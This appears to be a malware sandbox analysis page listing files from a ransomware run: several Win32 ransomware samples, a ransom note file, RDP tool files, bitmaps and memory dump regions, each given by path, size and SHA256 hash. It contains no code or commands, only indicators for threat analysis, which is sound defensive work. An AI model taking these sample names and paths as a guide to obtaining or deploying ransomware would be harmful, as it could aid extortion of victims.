                              Submit Download

                              HEUR-Trojan-Ransom.Win32.Blocker.gen-248eabc9c97d8c4994c26c88cf1806ea9274eb187e3eb0bae7ae8035c7f3b189.exe
                              • Path C:\Users\Admin\Desktop\00414\HEUR-Trojan-Ransom.Win32.Blocker.gen-248eabc9c97d8c4994c26c88cf1806ea9274eb187e3eb0bae7ae8035c7f3b189.exe
                              • Size 706KB
                              • SHA256 248eabc9c97d8c4994c26c88cf1806ea9274eb187e3eb0bae7ae8035c7f3b189
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              HEUR-Trojan-Ransom.Win32.Encoder.gen-a868deb14742d23911aba5e97f35ecd8ac35effbe24b1f5f5b631c9d17d1481c.exe
                              • Path C:\Users\Admin\Desktop\00414\HEUR-Trojan-Ransom.Win32.Encoder.gen-a868deb14742d23911aba5e97f35ecd8ac35effbe24b1f5f5b631c9d17d1481c.exe
                              • Size 2.5MB
                              • SHA256 a868deb14742d23911aba5e97f35ecd8ac35effbe24b1f5f5b631c9d17d1481c
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              HEUR-Trojan-Ransom.Win32.Generic-5e58a1576d022944a3f18102fe5ff04a8b4d56918003b53b914beece11e63868.exe
                              • Path C:\Users\Admin\Desktop\00414\HEUR-Trojan-Ransom.Win32.Generic-5e58a1576d022944a3f18102fe5ff04a8b4d56918003b53b914beece11e63868.exe
                              • Size 279KB
                              • SHA256 5e58a1576d022944a3f18102fe5ff04a8b4d56918003b53b914beece11e63868
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              Trojan-Ransom.Win32.AutoIt.ziq-20dc1a7d2186d078e6ecbe888855155ac683827efd9e052f7f85243bfc4d8c37.exe
                              • Path C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.AutoIt.ziq-20dc1a7d2186d078e6ecbe888855155ac683827efd9e052f7f85243bfc4d8c37.exe
                              • Size 2.7MB
                              • SHA256 20dc1a7d2186d078e6ecbe888855155ac683827efd9e052f7f85243bfc4d8c37
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              Trojan-Ransom.Win32.Cryrar.hev-3f967d306e6de83d8dd19745c0d6d3f94433ac29d4ddf9ad87dd1d4110cd700f.exe
                              • Path C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.Cryrar.hev-3f967d306e6de83d8dd19745c0d6d3f94433ac29d4ddf9ad87dd1d4110cd700f.exe
                              • Size 88KB
                              • SHA256 3f967d306e6de83d8dd19745c0d6d3f94433ac29d4ddf9ad87dd1d4110cd700f
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              Trojan-Ransom.Win32.Foreign.ofow-2776ed9eb0edfbe497366e4af177893a8dad3044c8c0dd3e37c559b748c337ae.exe
                              • Path C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.Foreign.ofow-2776ed9eb0edfbe497366e4af177893a8dad3044c8c0dd3e37c559b748c337ae.exe
                              • Size 691KB
                              • SHA256 2776ed9eb0edfbe497366e4af177893a8dad3044c8c0dd3e37c559b748c337ae
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              Trojan-Ransom.Win32.Hades.a-ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d.exe
                              • Path C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.Hades.a-ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d.exe
                              • Size 1.8MB
                              • SHA256 ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              HOW-TO-DECRYPT-gn9cj.txt
                              • Path C:\Users\Admin\Desktop\HOW-TO-DECRYPT-gn9cj.txt
                              • Size 3KB
                              • SHA256 014ea5effc97085b7832512b9ad2a5c4487265eb67e8d7b0920ef2bc8768400c
                              • MD5 SHA1 SHA512
                              Submit Download

                              ConnectionClient.exe
                              • Path C:\Users\Admin\RDP6\ConnectionClient.exe
                              • Size 1.4MB
                              • SHA256 3df92ad1bae6037e39a80a18dfd0aafe75f42911daab625bd1618c306c367d5d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              Session.rdp
                              • Path C:\Users\Admin\RDP6\Session.rdp
                              • Size 970B
                              • SHA256 3b79f0e2fa8a82f00a14f9f1dd9b9a495487bfed6bd1978235627b023bd9d629
                              • MD5 SHA1 SHA512
                              Submit Download

                              Trojan-Ransom.Win32.AutoIt.ziq-20dc1a7d2186d078e6ecbe888855155ac683827efd9e052f7f85243bfc4d8c37.txt
                              • Path C:\Users\Admin\RDP6\Trojan-Ransom.Win32.AutoIt.ziq-20dc1a7d2186d078e6ecbe888855155ac683827efd9e052f7f85243bfc4d8c37.txt
                              • Size 1KB
                              • SHA256 6a145074fa80b03722f364728f662ac7911aaceaddd12856678e239398a33eea
                              • MD5 SHA1 SHA512
                              Submit Download

                              TsCredentials.exe
                              • Path C:\Users\Admin\RDP6\TsCredentials.exe
                              • Size 137KB
                              • SHA256 165a4240ed4bff512c5a6e69bb77d2606c9fc0e6273db1acb4e7e643d364f814
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              bkgsc.bmp
                              • Path C:\Users\Admin\RDP6\bkgsc.bmp
                              • Size 8KB
                              • SHA256 91ca63fe192bf1bac2cc5405b2b0494f417028dbb7429e02a0a465977eb355dd
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              bkgsc.bmp
                              • Path C:\Users\Admin\RDP6\bkgsc.bmp
                              • Size 7KB
                              • SHA256 3c1fb9294d8e0c12d608d3d59a798d3b065a06c1f845fdbceafd22b31096c10a
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              bkgscblue.bmp
                              • Path C:\Users\Admin\RDP6\bkgscblue.bmp
                              • Size 8KB
                              • SHA256 a6d8f953a1cc5c121a27ddedab7acdee19b95877f45f97e67617ac8a20eef161
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              bkgscpink.bmp
                              • Path C:\Users\Admin\RDP6\bkgscpink.bmp
                              • Size 8KB
                              • SHA256 707aa269153242c45da813a38a012f99363d74c68fd5df45457fc7a771350c9e
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              ico2.ico
                              • Path C:\Users\Admin\RDP6\ico2.ico
                              • Size 161KB
                              • SHA256 f256ed6478e5644232411ac4ab0935ead22796581cf64c7e423fabd4d3fd8a7d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              memory/220-58-0x0000023BE0AC0000-0x0000023BE0ADE000-memory.dmp
                              Download

                              memory/220-55-0x0000023BE0A70000-0x0000023BE0AB4000-memory.dmp
                              Download

                              memory/220-56-0x0000023BE1C30000-0x0000023BE1CA6000-memory.dmp
                              Download

                              memory/220-45-0x0000023BE09F0000-0x0000023BE0A12000-memory.dmp
                              Download

                              memory/748-267-0x0000000000400000-0x00000000004B3000-memory.dmp
                              Download

                              memory/748-266-0x0000000002910000-0x000000000292B000-memory.dmp
                              Download

                              memory/748-256-0x0000000000400000-0x00000000004B3000-memory.dmp
                              Download

                              memory/852-318-0x0000000140000000-0x00000001401D8000-memory.dmp
                              Download

                              memory/852-661-0x0000000140000000-0x00000001401D8000-memory.dmp
                              Download

                              memory/852-678-0x0000000140000000-0x00000001401D8000-memory.dmp
                              Download

                              memory/1376-274-0x0000000000400000-0x00000000004B4000-memory.dmp
                              Download

                              memory/1376-270-0x0000000000400000-0x00000000004B4000-memory.dmp
                              Download

                              memory/2004-305-0x0000000140000000-0x00000001401D8000-memory.dmp
                              Download

                              memory/2004-298-0x0000000140000000-0x00000001401D8000-memory.dmp
                              Download

                              memory/2004-679-0x0000000140000000-0x00000001401D8000-memory.dmp
                              Download

                              memory/2304-81-0x0000000004EF0000-0x0000000004EFA000-memory.dmp
                              Download

                              memory/2304-74-0x00000000006B0000-0x00000000006D0000-memory.dmp
                              Download

                              memory/2392-290-0x000002A0CF740000-0x000002A0CF750000-memory.dmp
                              Download

                              memory/2392-284-0x000002A0CEF70000-0x000002A0CEF80000-memory.dmp
                              Download

                              memory/2528-250-0x0000000000400000-0x000000000042A000-memory.dmp
                              Download

                              memory/2636-80-0x0000000005820000-0x00000000058B2000-memory.dmp
                              Download

                              memory/2636-78-0x0000000005D30000-0x00000000062D4000-memory.dmp
                              Download

                              memory/2636-75-0x0000000000F10000-0x0000000000F5C000-memory.dmp
                              Download

                              memory/2636-144-0x00000000059B0000-0x00000000059BA000-memory.dmp
                              Download

                              memory/2760-307-0x0000000000400000-0x000000000042A000-memory.dmp
                              Download

                              memory/3716-272-0x0000000000950000-0x0000000000951000-memory.dmp
                              Download

                              memory/4176-30-0x00000298B6E10000-0x00000298B6E11000-memory.dmp
                              Download

                              memory/4176-38-0x00000298B6E10000-0x00000298B6E11000-memory.dmp
                              Download

                              memory/4176-39-0x00000298B6E10000-0x00000298B6E11000-memory.dmp
                              Download

                              memory/4176-37-0x00000298B6E10000-0x00000298B6E11000-memory.dmp
                              Download

                              memory/4176-40-0x00000298B6E10000-0x00000298B6E11000-memory.dmp
                              Download

                              memory/4176-29-0x00000298B6E10000-0x00000298B6E11000-memory.dmp
                              Download

                              memory/4176-31-0x00000298B6E10000-0x00000298B6E11000-memory.dmp
                              Download

                              memory/4176-41-0x00000298B6E10000-0x00000298B6E11000-memory.dmp
                              Download

                              memory/4176-36-0x00000298B6E10000-0x00000298B6E11000-memory.dmp
                              Download

                              memory/4404-260-0x0000000000400000-0x00000000004B4000-memory.dmp
                              Download

                              memory/4404-265-0x0000000000400000-0x00000000004B4000-memory.dmp
                              Download

                              memory/4676-248-0x0000000000400000-0x000000000042A000-memory.dmp
                              Download

                              memory/4840-17-0x000001F7243D0000-0x000001F7243D1000-memory.dmp
                              Download

                              memory/4840-22-0x000001F7243D0000-0x000001F7243D1000-memory.dmp
                              Download

                              memory/4840-23-0x000001F7243D0000-0x000001F7243D1000-memory.dmp
                              Download

                              memory/4840-24-0x000001F7243D0000-0x000001F7243D1000-memory.dmp
                              Download

                              memory/4840-25-0x000001F7243D0000-0x000001F7243D1000-memory.dmp
                              Download

                              memory/4840-26-0x000001F7243D0000-0x000001F7243D1000-memory.dmp
                              Download

                              memory/4840-27-0x000001F7243D0000-0x000001F7243D1000-memory.dmp
                              Download

                              memory/4840-28-0x000001F7243D0000-0x000001F7243D1000-memory.dmp
                              Download

                              memory/4840-16-0x000001F7243D0000-0x000001F7243D1000-memory.dmp
                              Download

                              memory/4840-18-0x000001F7243D0000-0x000001F7243D1000-memory.dmp
                              Download